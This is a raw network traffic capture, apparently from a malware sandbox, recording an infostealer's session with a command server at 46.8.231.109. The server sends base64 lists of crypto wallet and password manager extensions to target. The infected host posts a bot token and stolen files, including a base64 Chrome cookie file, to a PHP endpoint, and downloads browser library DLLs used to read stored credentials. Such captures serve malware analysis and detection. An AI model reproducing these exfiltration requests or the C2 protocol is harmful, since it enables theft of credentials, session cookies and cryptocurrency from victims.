Aug 28, 2024 22:55:05.086272955 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Aug 28, 2024 22:55:05.086340904 CEST	672	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Aug 28, 2024 22:55:05.086353064 CEST	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Aug 28, 2024 22:55:05.086366892 CEST	224	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZw
Aug 28, 2024 22:55:05.086621046 CEST	1236	IN	Data Raw: 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 64 74 63 47 4e 77 5a 32 78 77 62 6d 64 6b 62 32 46 73 59 6d 64 6c 62 32 78 6b 5a 57 46 71 5a 6d 4e 73 62 6d 68 68 5a 6d 46 38 4d 58 77 77 66 44 Data Ascii: amthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1qYmNmb2Zjb25rYW5uam9uZm1qamFqcGxsZGRiZ3wxfDB8MHx
Aug 28, 2024 22:55:05.086632967 CEST	268	IN	Data Raw: 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d 5a 73 5a 57 78 76 59 33 42 68 61 33 77 78 66 44 42 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 Data Ascii: dHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJ
Aug 28, 2024 22:55:05.088440895 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJKKKFCFHCFIECBGDHI Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 31 33 33 33 39 64 63 34 65 64 33 32 31 39 64 30 32 34 38 62 63 66 34 63 64 38 61 66 64 65 32 65 39 35 66 39 35 62 62 37 66 64 31 39 65 32 30 30 38 66 62 38 33 65 36 31 30 30 61 33 62 32 63 39 38 61 32 61 66 64 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 2d 2d 0d 0a Data Ascii: ------GIJKKKFCFHCFIECBGDHIContent-Disposition: form-data; name="token"813339dc4ed3219d0248bcf4cd8afde2e95f95bb7fd19e2008fb83e6100a3b2c98a2afd0------GIJKKKFCFHCFIECBGDHIContent-Disposition: form-data; name="message"fplugins------GIJKKKFCFHCFIECBGDHI--
Aug 28, 2024 22:55:05.270796061 CEST	335	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Aug 28, 2024 22:55:05.290513992 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBGIIDBKEBFBGCAEBAK Host: 46.8.231.109 Content-Length: 8339 Connection: Keep-Alive Cache-Control: no-cache
Aug 28, 2024 22:55:05.290657997 CEST	8339	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 31 33 33 33 39 Data Ascii: ------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="token"813339dc4ed3219d0248bcf4cd8afde2e95f95bb7fd19e2008fb83e6100a3b2c98a2afd0------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Aug 28, 2024 22:55:05.552233934 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 28, 2024 22:55:05.577192068 CEST	91	OUT	GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Aug 28, 2024 22:55:05.784250975 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Aug 28, 2024 22:55:05.784281015 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Aug 28, 2024 22:55:06.714322090 CEST	950	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFIEHDHIIIECAAKECFH Host: 46.8.231.109 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 49 45 48 44 48 49 49 49 45 43 41 41 4b 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 31 33 33 33 39 64 63 34 65 64 33 32 31 39 64 30 32 34 38 62 63 66 34 63 64 38 61 66 64 65 32 65 39 35 66 39 35 62 62 37 66 64 31 39 65 32 30 30 38 66 62 38 33 65 36 31 30 30 61 33 62 32 63 39 38 61 32 61 66 64 30 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 49 45 48 44 48 49 49 49 45 43 41 41 4b 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 49 45 48 44 48 49 49 49 45 43 41 41 4b 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------DBFIEHDHIIIECAAKECFHContent-Disposition: form-data; name="token"813339dc4ed3219d0248bcf4cd8afde2e95f95bb7fd19e2008fb83e6100a3b2c98a2afd0------DBFIEHDHIIIECAAKECFHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DBFIEHDHIIIECAAKECFHContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6YVlMc2RwVzRVRVlOM3ZZcV9yYlJyTkZ4TTFqb3pQR3Voak9SQlpLS016MnRkRHBWZTdkTnVUV3A0Q3lLLXp0NUlzNndWRWx2ZVdBZktRZ3dOSmlLS3RYSENDQ21ybGd6WlRsNUNpS2pUZUEyaVFxZjZ6bFJLMmg4d2cxaFZwSXNXc2FLcWFXSnlITVBGM0pBCg==------DBFIEHDHIIIECAAKECFH--
Aug 28, 2024 22:55:06.952409029 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 28, 2024 22:55:07.139199972 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCBKFBGIIIECAAAKFC Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 31 33 33 33 39 64 63 34 65 64 33 32 31 39 64 30 32 34 38 62 63 66 34 63 64 38 61 66 64 65 32 65 39 35 66 39 35 62 62 37 66 64 31 39 65 32 30 30 38 66 62 38 33 65 36 31 30 30 61 33 62 32 63 39 38 61 32 61 66 64 30 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CBGCBKFBGIIIECAAAKFCContent-Disposition: form-data; name="token"813339dc4ed3219d0248bcf4cd8afde2e95f95bb7fd19e2008fb83e6100a3b2c98a2afd0------CBGCBKFBGIIIECAAAKFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CBGCBKFBGIIIECAAAKFCContent-Disposition: form-data; name="file"------CBGCBKFBGIIIECAAAKFC--
Aug 28, 2024 22:55:07.374114990 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 28, 2024 22:55:07.835005045 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCFHIDAKECFHIEBFCGI Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 31 33 33 33 39 64 63 34 65 64 33 32 31 39 64 30 32 34 38 62 63 66 34 63 64 38 61 66 64 65 32 65 39 35 66 39 35 62 62 37 66 64 31 39 65 32 30 30 38 66 62 38 33 65 36 31 30 30 61 33 62 32 63 39 38 61 32 61 66 64 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="token"813339dc4ed3219d0248bcf4cd8afde2e95f95bb7fd19e2008fb83e6100a3b2c98a2afd0------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="file"------DGCFHIDAKECFHIEBFCGI--
Aug 28, 2024 22:55:08.055692911 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 28, 2024 22:55:08.402622938 CEST	91	OUT	GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Aug 28, 2024 22:55:08.683290958 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Aug 28, 2024 22:55:09.347946882 CEST	91	OUT	GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Aug 28, 2024 22:55:09.522639990 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Aug 28, 2024 22:55:09.911824942 CEST	92	OUT	GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Aug 28, 2024 22:55:10.088609934 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Aug 28, 2024 22:55:10.408139944 CEST	88	OUT	GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Aug 28, 2024 22:55:10.582521915 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:10 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
